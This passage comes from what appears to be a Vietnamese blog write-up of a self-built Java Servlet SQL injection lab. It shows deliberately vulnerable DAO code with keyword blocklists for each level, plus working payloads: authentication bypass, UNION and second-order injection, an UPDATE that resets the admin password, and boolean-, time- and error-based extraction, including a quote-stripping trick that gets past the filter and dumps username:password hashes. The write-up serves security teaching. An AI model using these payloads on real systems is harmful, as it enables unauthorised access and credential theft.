username=LOWER(\u0026#39;\u0026#34; + username + \u0026#34;\u0026#39;) AND password=MD5(\u0026#39;\u0026#34; + password + \u0026#34;\u0026#39;)\u0026#34;; System.out.println(\u0026#34;DEBUG SQL Level 3: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { if (rs.next()) return new User(rs.getString(1), rs.getString(2)); } return null; } Đến với lv3 ở đây có lẽ vẫn không có sự khac biệt mấy so với lv1 lv2 có thể thấy sự khác biệt duy nhất là username=LOWER('\u0026quot; + username + \u0026quot;') ở đây dev sử dụng LOWER để lowercase hết username trong sql nhưng hàm này ngoài tác dụng đó ra thì nó không hề làm gì thêm để phòng thủ.\nTiến hành thử lại payload cũ.\nDính liền phải lỗi Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 dựa theo lỗi này thì có vẻ gần dấu ' có vấn đề. Ta có thể nhìn thấy ngay rằng hàm LOWER() khi ta dùng payload cũ nó chỉ cắt được chuỗi đoạn LOWER('' chứ ta chưa hề đóng lại hàm để nó nhận rằng là một hàm hoàn chỉnh nên ta sẽ tiến hành sửa lại payload.\nSử dụng payload này sẽ giúp ta đi qua đc LOWER và sau đó là toán tử OR cùng với \u0026ndash; để comment hết tất cả đoạn truy vấn ở sau.\nThành công đăng nhập vào.\nLevel 4 SQL Injection Level 4 public User loginLevel4(String username, String password) throws Exception { String[] sqlKeywords = { \u0026#34;union\u0026#34;, \u0026#34;select\u0026#34;, \u0026#34;from\u0026#34;, \u0026#34;insert\u0026#34;, \u0026#34;update\u0026#34;, \u0026#34;delete\u0026#34;, \u0026#34;drop\u0026#34;, \u0026#34;create\u0026#34;, \u0026#34;alter\u0026#34;, \u0026#34;order by\u0026#34;, \u0026#34;group by\u0026#34;, \u0026#34;having\u0026#34;, \u0026#34;where\u0026#34;, \u0026#34;or\u0026#34;, \u0026#34;and\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;execute\u0026#34;, \u0026#34;sp_\u0026#34;, \u0026#34;xp_\u0026#34;, \u0026#34;--\u0026#34;, \u0026#34;/*\u0026#34;, \u0026#34;*/\u0026#34;, \u0026#34;;\u0026#34;, \u0026#34;char\u0026#34;, \u0026#34;nchar\u0026#34;, \u0026#34;varchar\u0026#34;, \u0026#34;nvarchar\u0026#34;, \u0026#34;waitfor\u0026#34;, \u0026#34;delay\u0026#34;, \u0026#34;benchmark\u0026#34;, \u0026#34;sleep\u0026#34; }; String usernameLower = username.toLowerCase(); String passwordLower = password.toLowerCase(); for (String keyword : sqlKeywords) { if (usernameLower.contains(keyword) || passwordLower.contains(keyword)) { throw new Exception(\u0026#34;SQLI detected\u0026#34;); } } username = username.replace(\u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\u0026#34;); password = password.replace(\u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\u0026#34;); String query = \u0026#34;SELECT username, password FROM users WHERE username=\\\u0026#34;\u0026#34; + username + \u0026#34;\\\u0026#34; AND password=MD5(\\\u0026#34;\u0026#34; + password + \u0026#34;\\\u0026#34;)\u0026#34;; System.out.println(\u0026#34;DEBUG SQL Level 4: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)){ if (rs.next()) return new User(rs.getString(1), rs.getString(2)); } return null; } Đến với lv4 anh dev đã fix lỗi bằng cách sử dụng hàm replace() để loại bỏ các dấu '' và dấu \u0026quot;\u0026quot; trong câu truy vấn vậy nên ta sẽ không thể truyền dấu nháy để ta thoát khỏi câu truy vấn.\nDính ngay login fail. Vậy ngoài 2 dấu kia ra liệu mình có cách nào để escape khỏi câu truy vấn không?. Câu trả lời là có, trong mysql mặc định của nó sẽ cho phép sử dụng dấu \\ để escape trong câu truy vấn vậy nên ta sẽ tận dụng nó để exploit. Dấu \\ sẽ escape dấu \u0026quot; tiếp theo → dấu \u0026quot; trở thành ký tự thường trong chuỗi, không còn là ký tự đóng chuỗi\u0026quot; Nếu mình escape được dấu \u0026quot; ta có thể thêm ở phần password để payload trở thành SELECT username FROM users WHERE username=\u0026quot;\\\u0026quot; AND password=MD5(\u0026quot; OR 1=1 -- -\u0026quot;) Sau khi escape, parser SQL sẽ hiểu thành: username=\u0026quot;\\ AND password=MD5(\u0026quot; OR 1=1 \u0026ndash; -\u0026quot;) Phần \u0026ndash; - comment phần cuối, chỉ còn điều kiện OR 1=1 → luôn đúng Kết quả: bypass authentication thành công\nỞ đây mình sẽ xài payload là username = \\ với phần password là OR 1=1 -- -\nThành công khai thác được sqli ở lv này.\nLevel 5 SQL Injection Level 5 public User getUserByUsername(String username) throws Exception { String query = \u0026#34;SELECT username, password FROM users WHERE username=\u0026#39;\u0026#34; + username + \u0026#34;\u0026#39;\u0026#34;; System.out.println(\u0026#34;DEBUG GetUser: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { if (rs.next()) { return new User(rs.getString(\u0026#34;username\u0026#34;), rs.getString(\u0026#34;password\u0026#34;)); } } return null; } Đến với lv5 thì ở đây mình chỉ code một đoạn sql đơn giản như lv đầu nhưng vấn đề là nếu như có thêm 1 phần xác thực user ví dụ như nó bắt buộc user là admin thì phải làm sao. vậy nên cách tấn công UNION based là cách hiệu quả nhất ở đây.\nỞ đây mình sẽ dùng payload là ' UNION SELECT 'admin', 'NULL' -- - với password là bất kì thứ gì cũng được vì phần pass đã bị commented lại.\nThành công truy vấn đăng nhập bằng cách sử dụng UNION ở đây dùng UNION ở đây câu query sau khi bị inject sẽ là SELECT username, password FROM users WHERE username='' UNION SELECT 'admin', 'NULL' -- '; Level 6 SQL Injection Level 6 public String getContentById(String id) throws Exception { String query = \u0026#34;SELECT content FROM posts WHERE id=\u0026#34; + id; System.out.println(\u0026#34;DEBUG GetContent: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { return rs.next() ? rs.getString(1) : \u0026#34;Not found\u0026#34;; } } Đến với lv6 là lv đầu tiên của advance .\nSELECT content FROM posts WHERE id=...\nMình kiểm soát biến id Không có dấu \u0026rsquo; trong truy vấn (id không nằm trong dấu nháy) Kết quả được hiển thị bên trong một iframe. Ở đây thử thách sẽ là làm sao để lấy được version của database ra từ đó có thể biết được loại database để tìm đường tấn công. Bây giờ ta sẽ thử một payload trước xem liệu kết quả có trả về database version không. 1 UNION SELECT @@version -- - Ở đây trong câu query không hề có dấu \u0026rsquo;\u0026rsquo; nên ta có thể inject thẳng vào luôn tiến hành submit để xem có gì được trả về.\nNó chỉ đưa cho ta một câu như này chứ không có kết quả của việc lấy được database version ra, vậy vấn đề là nằm ở đâu. Sau một lúc tìm hiểu thì có vẻ như vì id=1 có giá trị nên sẽ không trả về được theo ý mình mà nó sẽ chỉ trả thông tin vì thế ta sẽ sửa một chút ở payload 9999 UNION SELECT @@version -- - ở đây id=9999 sẽ trả về rỗng và chuỗi sql sau sẽ được thực thi.\nThành công lấy ra được version của Mysql.\nLevel 7 SQL Injection Level 7 Đến với lv7 có thể thấy khá là nhiều chức năng ở lv này bao gồm register login cà view profile vậy lám sao ta tận dụng để tấn công sqli.\npublic boolean registerUser(String username, String password) throws Exception { String query = \u0026#34;INSERT INTO users (username, password) VALUES (?, MD5(?))\u0026#34;; System.out.println(\u0026#34;DEBUG RegisterUser: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); PreparedStatement ps = conn.prepareStatement(query)) { ps.setString(1, username); ps.setString(2, password); return ps.executeUpdate() \u0026gt; 0; } } public String getEmailByUsername(String username) throws Exception { String query = \u0026#34;SELECT email FROM users WHERE username=\u0026#39;\u0026#34; + username + \u0026#34;\u0026#39;\u0026#34;; System.out.println(\u0026#34;DEBUG GetEmail: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { return rs.next() ? rs.getString(1) : \u0026#34;Not found\u0026#34;; } } registerUser(String username, String password) Dữ liệu username được lưu vào CSDL y nguyên như bạn nhập (kể cả có \u0026lsquo;, \u0026ndash;, UNION, \u0026hellip;) String query = \u0026quot;SELECT email FROM users WHERE username='\u0026quot; + username + \u0026quot;'\u0026quot;; username lấy từ session (đã lưu khi login) → chính là chuỗi đã đăng ký Có nối trực tiếp vào SQL mà không escape → SQL Injection gián tiếp (second-order) xảy ra tại đây. Tiến hành tạo tài khoản là admin/admin123\nCó vẻ như tên admin đã tồn tại trong bảng. Bước 1: Đăng ký tài khoản với payload SQLi username là ' UNION SELECT password FROM users -- ' password là cái gì cũng được.\nĐộ dài: 43 ký tự vừa VARCHAR(50) Sẽ trả về password của user đầu tiên trong bảng users (thường là admin)\nBước 2: Thực hiện view profile mình vừa mới tạo, lúc này câu query sẽ trở thành SELECT email FROM users WHERE username='' UNION SELECT password FROM users -- ' Kết quả: rs.getString(1) = password dòng đầu tiên trong bảng users\nThành công lôi mật khẩu dạng md5 của admin ra.\nLevel 8 SQL Injection Level 8 Lv 8 nó có tên là UPDATE Injection vì ở lv này mình sẽ demo sqli bằng cách sử dụng hàm UPDATE để thay đổi password của admin.\npublic boolean updateEmail(String email, String username) throws Exception { String query = \u0026#34;UPDATE users SET email=\u0026#39;\u0026#34; + email + \u0026#34;\u0026#39; WHERE username=\u0026#39;\u0026#34; + username + \u0026#34;\u0026#39;\u0026#34;; System.out.println(\u0026#34;DEBUG UpdateEmail: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement()) { return stmt.executeUpdate(query) \u0026gt; 0; } } Đây là SQLi điểm yếu chính, vì:\nCả email và username không được lọc Query được tạo bằng nối chuỗi trực tiếp Ý tưởng tấn công Inject qua username, để câu lệnh UPDATE trở thành UPDATE users SET email='[payload]' WHERE username='[injected_username]' Bây giờ tiến hành payload vào Update email admin', password=MD5('hacked') -- lúc này câu query sẽ trở thành UPDATE users SET email='admin', password=MD5('hacked') WHERE username='admin' --' vì ở phần update email không hề có validate và cũng không bắt nó phải giống như một email bình thường.\nBây giờ ta sẽ test thử coi liệu password của admin đã được chuyền thành hacked hay chưa.\nThành công login vào admin. PS: ở đây với mỗi lần thực thi được sqli ở lv 12345 mình login được vào admin luôn vì hàm re.next sẽ lấy và đăng nhập với user đầu tiên trên bảng và cũng chính là admin.\nLevel 9 SQL Injection Level 9 public User loginLevel9(String username, String password) throws Exception { String[] sqlKeywords = { \u0026#34;union\u0026#34;, \u0026#34;select\u0026#34;, \u0026#34;from\u0026#34;, \u0026#34;insert\u0026#34;, \u0026#34;update\u0026#34;, \u0026#34;delete\u0026#34;, \u0026#34;drop\u0026#34;, \u0026#34;create\u0026#34;, \u0026#34;alter\u0026#34;, \u0026#34;order by\u0026#34;, \u0026#34;group by\u0026#34;, \u0026#34;having\u0026#34;, \u0026#34;where\u0026#34;, \u0026#34;or\u0026#34;, \u0026#34;and\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;execute\u0026#34;, \u0026#34;sp_\u0026#34;, \u0026#34;xp_\u0026#34; }; String usernameLower = username.toLowerCase(); String passwordLower = password.toLowerCase(); System.out.println(\u0026#34;DEBUG: usernameLower = \u0026#34; + usernameLower); System.out.println(\u0026#34;DEBUG: passwordLower = \u0026#34; + passwordLower); for (String keyword : sqlKeywords) { if (usernameLower.contains(keyword) || passwordLower.contains(keyword)) { throw new Exception(\u0026#34;SQLI detected (matched keyword: \u0026#34; + keyword + \u0026#34;)\u0026#34;); } } username = username.replace(\u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\u0026#34;); password = password.replace(\u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\u0026#34;); String query = \u0026#34;SELECT username, password FROM users WHERE username=\\\u0026#34;\u0026#34; + username + \u0026#34;\\\u0026#34; AND password=MD5(\\\u0026#34;\u0026#34; + password + \u0026#34;\\\u0026#34;)\u0026#34;; System.out.println(\u0026#34;DEBUG: Executing query = \u0026#34; + query); lastQuery = query; try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { if (rs.next()) { return new User(rs.getString(1), rs.getString(2)); } } return null; } ở đây tôi để là level 9. Ngay ở đoạn đầu mình đã dùng String để tạo ra một black list về những hàm query nguy hiểm có thể được sử dụng để khai thác sql injection.\nString[] sqlKeywords = { \u0026#34;union\u0026#34;, \u0026#34;select\u0026#34;, \u0026#34;from\u0026#34;, \u0026#34;insert\u0026#34;, \u0026#34;update\u0026#34;, \u0026#34;delete\u0026#34;, \u0026#34;drop\u0026#34;, \u0026#34;create\u0026#34;, \u0026#34;alter\u0026#34;, \u0026#34;order by\u0026#34;, \u0026#34;group by\u0026#34;, \u0026#34;having\u0026#34;, \u0026#34;where\u0026#34;, \u0026#34;or\u0026#34;, \u0026#34;and\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;execute\u0026#34;, \u0026#34;sp_\u0026#34;, \u0026#34;xp_\u0026#34; }; Sau đó thì user input sẽ được đưa về lowercase hết cụ thể ở đây là username và password nó sẽ được lowercase để bắt lỗi nếu xài payload kiểu uNiOn hoặc SEL**ECT. Vậy ở đây ta sẽ phải khai thác như thế nào, sau một lúc test và tìm hiểu thì có 2 cách có thể hoạt động được ở lv này đó là Time Based Sqli và Boolean Based Sqli về Time-Based ta sẽ lợi dụng hàm sleep() để khiến cho hệ thống ngủ trong một khoảng thời gian nào đó nếu điều kiện trả về là true. Còn với Boolean-Based ta sẽ lợi dụng bằng cách so sánh điều kiện nếu đúng nó sẽ trả về true sai thì trả về false. Cách khai thác thì vẫn sẽ giống như chall trước chỉ khác rằng bây giờ ta sẽ dùng payload làm sao để tránh được filter mà vẫn tìm ra được giá trị như tên bảng hoặc nội dung bên trong bảng.\nTiến hành test thử payload và debug Đầu tiên là trường hợp của time base\nỞ đây thì cái trường hợp nó tương tự với chall trước nên ở phần username mình vẫn sẽ inject \\ vào để escape sau đó payload sẽ được tiêm vào ở password. Ở đây payload ở password mình sẽ dùng là:\n|| CASE WHEN ASCII(SUBSTRING(DATABASE(),1,1))=115 THEN SLEEP(5) ELSE 0 END# Ở đây có thể thấy nó có sleep nhưng lại bị sleep khá là lâu, sau khi tìm hiểu thử nguyên nhân thì: MD5() nhận expression, mà SLEEP(5) lại có side-effect (delay). Trong quá trình tính toán MD5, MySQL engine có thể gọi lại nhiều lần → mỗi lần lại sleep 5 giây. Tổng cộng bạn thấy nó như “sleep vô hạn”, thực chất là sleep nhiều lần liên tục. Ở đây nó sleep liên tục 55s tuy lâu nhưng có vẻ payload chạy đúng với ascii là 115=s vậy ta biết tên của bảng bắt đầu với chữ s. Bây giờ ta thử với trường hợp là ascii là 114 thử xem liệu nó có sleep không để củng cố.\nCó thể thấy với ascii=114 nó trả về trong 11milisec vậy nên có thể thấy rằng payload có hoạt động và ta hoàn toàn có thể dump được bảng ra với trường hợp này.\nVì thấy cái sleep có vấn đề về time nên tôi tìm kiếm thêm cách khác nữa và tìm ra được có cách sử dụng 1 với 0 để lấy kết quả là giá trị true false ở đây được gọi là boolean base.\nVới trường hợp boolean base này mình sử dụng payload:\n\\\u0026amp;password=|| (ASCII(SUBSTRING(DATABASE(),1,1))=115)# || → trong MySQL là toán tử logical OR\nSUBSTRING(DATABASE(),1,1) → lấy ký tự đầu tiên của tên database hiện tại.\nASCII(\u0026hellip;) → chuyển ký tự đó sang mã ASCII.\n=115 → so sánh có bằng 115 (chữ s) không.\n(ASCII(\u0026hellip;) = 115) → kết quả sẽ là 1 nếu đúng, 0 nếu sai.\nTrong trường hợp ascii là 115 hay là chữ s thì ta được trả về true.\nBây giờ ta sử dụng thử giá trị khác thì sẽ như nào.\nVới giá trị là 114 thì logic sẽ false và nó đưa về login failed.\nTest với mysql có thể thấy 2 trường hợp nó trả về 1 với 0 tương ứng true và false vậy nên ta hoàn toàn có thể lợi dụng để thực hiện dump bảng ở đây là tôi dump tên bảng và ta có thể dùng cách là manual test như mình đang làm hoặc dùng python payload để đó auto test.\nLevel 10 SQL Injection Level 10 Ở lv này tôi đã filter hết lại UNION là một hàm query rất hay sử dụng để khai thác sqli.\nString[] blockedKeywords = { \u0026#34;union\u0026#34;, \u0026#34;--\u0026#34;, \u0026#34;/*\u0026#34;, \u0026#34;*/\u0026#34; }; public User loginLevel10(String username, String password) throws Exception { if (username == null || password == null) return null; String inputLower = username.toLowerCase(); String[] blockedKeywords = { \u0026#34;union\u0026#34;, \u0026#34;--\u0026#34;, \u0026#34;/*\u0026#34;, \u0026#34;*/\u0026#34; }; for (String keyword : blockedKeywords) { if (inputLower.contains(keyword)) return null; } String query = \u0026#34;SELECT username, password FROM users WHERE username = \u0026#39;\u0026#34; + username + \u0026#34;\u0026#39; AND password = \u0026#39;\u0026#34; + password + \u0026#34;\u0026#39;\u0026#34;; System.out.println(\u0026#34;DEBUG SQL Level 10: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { if (rs.next()) return new User(rs.getString(\u0026#34;username\u0026#34;), rs.getString(\u0026#34;password\u0026#34;)); } return null; } Ở đây thì UNION đã bị dính filter vậy ta có hướng nào để có thể khai thác sqli bài này. Ở chall này mình sẽ thử khai thác theo kiểu blind trong trường hợp mình không biết tên bảng có mấy hàng mấy cột và bị filter UNION. Việc đầu tiên có lẽ phải tìm cách để enum ra được cái tên bảng: Ở đây mình sẽ xài error base sqli để tìm thử tên bảng.\nusername=admin\u0026#39; AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e)) AND \u0026#39;x\u0026#39;=\u0026#39;x Mục tiêu ban đầu là dùng EXTRACTVALUE để gây lỗi\nCONCAT(0x7e, DATABASE(), 0x7e) 0x7e = ~ (ký tự dấu ngã) DATABASE() = tên database hiện tại CONCAT(\u0026hellip;) = nối chuỗi thành ~database_name~ EXTRACTVALUE(xml_frag, xpath_expr) là gì?\nĐây là một hàm xử lý XML trong MySQL, với: xml_frag: Một đoạn XML hợp lệ (ví dụ: \u0026lsquo;value\u0026rsquo;) xpath_expr: Một biểu thức XPath dùng để lấy dữ liệu từ đoạn XML Ví dụ: SELECT EXTRACTVALUE(1, \u0026lsquo;abc\u0026rsquo;); Nó sẽ gây lỗi và trả về là XPATH syntax error: 'abc' Vậy nên ta sẽ lợi dụng lỗi đó để lấy ra được tên bảng nhờ vào CONCAT là một hàm nối chuỗi trong mysql nó ghép các string thành 1 string. Tiến hành inject username password.\nKết quả cho ta thấy bảng ta đang được truy vấn đến là sqli_lab.\nTương tự ta extract version cũng như vậy username = admin' AND EXTRACTVALUE(1,CONCAT(0x7e,@@version,0x7e)) AND 'x'='x password là gì cũng được.\nTa sẽ thử đếm số dòng trong bảng ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT COUNT(*) FROM users), 0x7e)) AND 'x'='x\n11 dòng. Từ đây ta có thể tiến hành bruteforce password của admin hoặc tìm thêm user khác tùy vào script.\nBonus Level 10 SQL Injection Level 10 (Bonus) Đây là giao diện đăng nhập như cũ nhưng bây giờ mình sẽ thử lấy payload cũ để vào xem nó có trả kết quả như trước không.\nBây giờ nó sẽ chỉ trả về invalid cho tất cả trường hợp bị lỗi. Ở chall này bây giờ mình muốn thử một cách đó là sử dụng time based attack sqli kĩ thuật này sẽ dựa vào thời gian trả về response để dump ra được nội dung của bảng. Ở đây ta sẽ test thử một câu truy vấn time base đơn giản xem liệu nó có nhận hay không. admin' AND (SELECT SLEEP(5) FROM users LIMIT 1)='\nThành phần Giải thích 'admin' Đóng chuỗi username hợp lệ. AND Điều kiện bổ sung — ta đang tiêm thêm logic vào truy vấn. (SELECT SLEEP(5) FROM users LIMIT 1) Subquery: thực hiện lệnh SLEEP(5) — tức là server sẽ \u0026ldquo;ngủ\u0026rdquo; 5 giây trước khi trả kết quả. = '' So sánh kết quả của (SELECT SLEEP(5)) với chuỗi rỗng ''. Dù vô lý về mặt logic, vẫn hợp lệ cú pháp SQL. Tác dụng chính Nếu server có lỗ hổng SQLi và đoạn chèn được thực thi, thì server sẽ delay 5 giây, cho thấy SQLi time-based tồn tại. Thành công biết được rằng là bị dính time base sqli vì có thể thấy response mất 5 giây mới trả về kết quả. Bây giờ ta sẽ thử đếm số bảng bằng phương pháp trên xem sao. admin' AND (SELECT SLEEP(5) WHERE (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())\u0026lt;3)='\nThành phần Mục đích admin' Đóng chuỗi 'username' trong câu lệnh SQL gốc (giả sử có cấu trúc WHERE username = '...'). AND Bổ sung điều kiện logic cho truy vấn gốc. (SELECT SLEEP(5) WHERE (...)) Nếu điều kiện (...) đúng, thì SLEEP(5) sẽ thực thi (tức là server delay 5 giây) SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() Đếm số bảng (table) trong schema (CSDL) hiện tại. \u0026lt; 3 Kiểm tra xem số bảng hiện tại có ít hơn 3 hay không. = '' So sánh với chuỗi rỗng, mục đích là để giữ cú pháp SQL hợp lệ. Thời gian trả về trên khẳng định rằng có ít hơn 3 bảng trong database.\nThử với bé hơn 2 và bé hơn 1 cho thời gian trả về rất nhanh nghĩa là có khả năng nó bằng 2 hoặc là nó bằng 1 bảng bây giờ ta thử với bằng 2 xem thế nào.\nThử với bằng 2 và khẳng định được có 2 bảng nằm trong database. Với lỗi này nếu mình lợi dụng thêm script để brute thì ta hoàn toàn có thể dump ra được thông tin trong bảng ra.\nLevel 11: Filter hết các hàm đã sử dụng SQL Injection Level 11 Ở challenge này thì các hàm đã được sử dụng bên trên đã bị chặn đi bây giờ ta phải tìm hướng đi khác để có thể bypass được. public User loginLevel11(String username, String password) throws Exception { String[] sqlKeywords = { \u0026#34;union\u0026#34;, \u0026#34;select\u0026#34;, \u0026#34;from\u0026#34;, \u0026#34;insert\u0026#34;, \u0026#34;update\u0026#34;, \u0026#34;delete\u0026#34;, \u0026#34;drop\u0026#34;, \u0026#34;create\u0026#34;, \u0026#34;alter\u0026#34;, \u0026#34;order by\u0026#34;, \u0026#34;group by\u0026#34;, \u0026#34;having\u0026#34;, \u0026#34;where\u0026#34;, \u0026#34;or\u0026#34;, \u0026#34;and\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;execute\u0026#34;, \u0026#34;sp_\u0026#34;, \u0026#34;xp_\u0026#34;, \u0026#34;case\u0026#34;, \u0026#34;when\u0026#34;, \u0026#34;ascii\u0026#34;, \u0026#34;substring\u0026#34;, \u0026#34;then\u0026#34;, \u0026#34;sleep\u0026#34;, \u0026#34;end\u0026#34; }; String usernameLower = username.toLowerCase(); String passwordLower = password.toLowerCase(); System.out.println(\u0026#34;DEBUG: usernameLower = \u0026#34; + usernameLower); System.out.println(\u0026#34;DEBUG: passwordLower = \u0026#34; + passwordLower); for (String keyword : sqlKeywords) { if (usernameLower.contains(keyword) || passwordLower.contains(keyword)) { throw new Exception(\u0026#34;SQLI detected (matched keyword: \u0026#34; + keyword + \u0026#34;)\u0026#34;); } } username = username.replace(\u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\u0026#34;); password = password.replace(\u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\u0026#34;); String query = \u0026#34;SELECT username, password FROM users WHERE username=\\\u0026#34;\u0026#34; + username + \u0026#34;\\\u0026#34; AND password=MD5(\\\u0026#34;\u0026#34; + password + \u0026#34;\\\u0026#34;)\u0026#34;; System.out.println(\u0026#34;DEBUG: Executing query = \u0026#34; + query); lastQuery = query; try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { if (rs.next()) { return new User(rs.getString(1), rs.getString(2)); } } return null; } Hướng tiếp cận Error Based Sau một lúc thì tôi muốn thử cách error base xem liệu có lấy ra được cái gì trong mysql không vậy nên tiến hành tìm và sửa payload để hợp với cách tấn công dùng backslash để có thể escape và truyền payload vào.\nỞ đây tôi sử dụng payload là:\nusername = \\ password= || EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e))# Từng thành phần\n|| Trong MySQL, đây là toán tử OR (tương tự OR). Ví dụ: 1 || 0 = 1 Payload dùng || để nối thêm điều kiện luôn true hoặc ép chạy thêm biểu thức.\nEXTRACTVALUE(1, CONCAT(...)) Đây là XML function trong MySQL (từ bản 5.x).\nEXTRACTVALUE(xml_document, xpath_string) Nó parse XML → nhưng nếu xpath_string chứa ký tự đặc biệt hoặc chuỗi dài, MySQL sẽ trả về error có chứa chuỗi đó. =\u0026gt; Đây là trick để in ra dữ liệu (error-based SQLi).\nCONCAT(0x7e, DATABASE(), 0x7e) 0x7e = ký tự ~ DATABASE() = tên database hiện tại CONCAT(0x7e, DATABASE(), 0x7e) = ghép chuỗi\nỞ đây có thể thấy error trả về cho ta được tên bảng nhưng có vẻ hướng đi này vẫn đang rơi vào ngõ cụt vì sử dụng những hàm như này không có select sẽ không thể dump ra được thông tin của bảng khác hoặc thông tin trong bảng. Nhưng liệu SELECT có thực sự bị chặn? Sau khi đọc kỹ lại phần code thì ta để ý lại đoạn:\nusername = username.replace(\u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\u0026#34;); password = password.replace(\u0026#34;\\\u0026#34;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#34;\u0026#34;); Nó sẽ chỉ replace dấu '' cùng với dấu \u0026quot;\u0026quot; để nó biến thành mỗi whitespace vậy nên ta có thể lợi dụng nó bằng cách viết kiểu SEL'ECT điều này sẽ vừa giúp ta tránh được filter mà khi cái dấu biến mất nó sẽ được parse thành một chữ SELECT hoàn chỉnh tương tự với các chữ khác bị filter ta vẫn có thể làm được. Vậy giờ ta sẽ lợi dụng Error Based bằng cách dùng EXTRACTVALUE với SELECT để nó error ra các thông tin trong bảng. Từ bước ở trên ta đã tìm được tên của Database ta sẽ dùng nó để đọc thông tin tiếp theo.\nThành công dump ra được danh sách bảng có trong database sqli_lab.\nextractvalue(1, ...): Trích xuất dữ liệu từ một kết quả SQL. concat(0x7e, ...): Nối ký tự ~ (tương đương với 0x7e) vào trước và sau kết quả. select group_concat(table_name): Lấy tất cả tên bảng trong cơ sở dữ liệu sqli_lab và nối chúng lại thành một chuỗi. from information_schema.tables where table_schema='sqli_lab': Truy vấn bảng hệ thống information_schema.tables để lấy tên bảng trong cơ sở dữ liệu sqli_lab. Ở đây có thể thấy trong database có 2 bảng là users với posts. Bây giờ ta thử đọc username password 1 user trong bảng users.\nextractvalue(1, ...): Trích xuất giá trị từ câu truy vấn SQL được thực thi, có thể giúp hiển thị kết quả dưới dạng XML hoặc dữ liệu. concat(0x7e, ...): Nối ký tự ~ (tương đương với 0x7e) vào trước và sau kết quả, giúp dễ phân biệt dữ liệu trả về. select group_concat(username, 0x3a, password separator 0x2c): Trích xuất các cặp username:password từ bảng users. 0x3a là mã hex cho dấu : (dùng để phân tách tên người dùng và mật khẩu). separator 0x2c sẽ phân tách các cặp username:password bằng dấu phẩy (,) giữa mỗi cặp. from users: Truy vấn từ bảng users chứa thông tin về tài khoản. Vậy là ta đã thành công dump thông tin dựa vào cách lợi dụng lớp phòng thủ tưởng chừng như an toàn trước attacker kết hợp với đó là Error Based sqli.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-09-servlet-sql-injection/","summary":"\u003ch1 id=\"java-servlet-sql-injection-vulnerability-by-phatmh\"\u003eJava Servlet Sql Injection Vulnerability by @Phatmh\u003c/h1\u003e\n\u003ch3 id=\"tổng-quan-cấu-trúc-file-java\"\u003eTổng quan cấu trúc file java\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e+---.idea\n   +---dataSources\n+---.mvn\n   +---wrapper\n+---src\n   +---main\n      +---java\n         +---sql_injection\n             +---controller\n             +---dao\n             +---model\n             +---util\n      +---resources\n         +---META-INF\n      +---webapp\n          +---WEB-INF\n   +---test\n       +---java\n       +---resources\n+---target\n    +---classes\n       +---META-INF\n       +---sql_injection\n           +---controller\n           +---dao\n           +---model\n           +---util\n    +---generated-sources\n       +---annotations\n    +---Sql_Injection-1.0-SNAPSHOT\n        +---META-INF\n        +---WEB-INF\n            +---classes\n                +---META-INF\n                +---sql_injection\n                    +---controller\n                    +---dao\n                    +---model\n                    +---util\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/S16Q8BvYxx.png\"\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eCấu trúc của project được viết bằng mô hình MVC với UserDAO là nơi xử lý logic chính. Tại đây mình tạo ra 11 level tương ứng với các độ khó khác nhau. Ở đây basic sẽ là 1-5 và 6-11 sẽ là hard.\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3 id=\"source-code-github\"\u003eSource Code (Github)\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pzhat/Sql_Injection_Lab\"\u003eGithub\u003c/a\u003e\u003c/p\u003e","title":"Java Servlet Sql Injection Vulnerability by 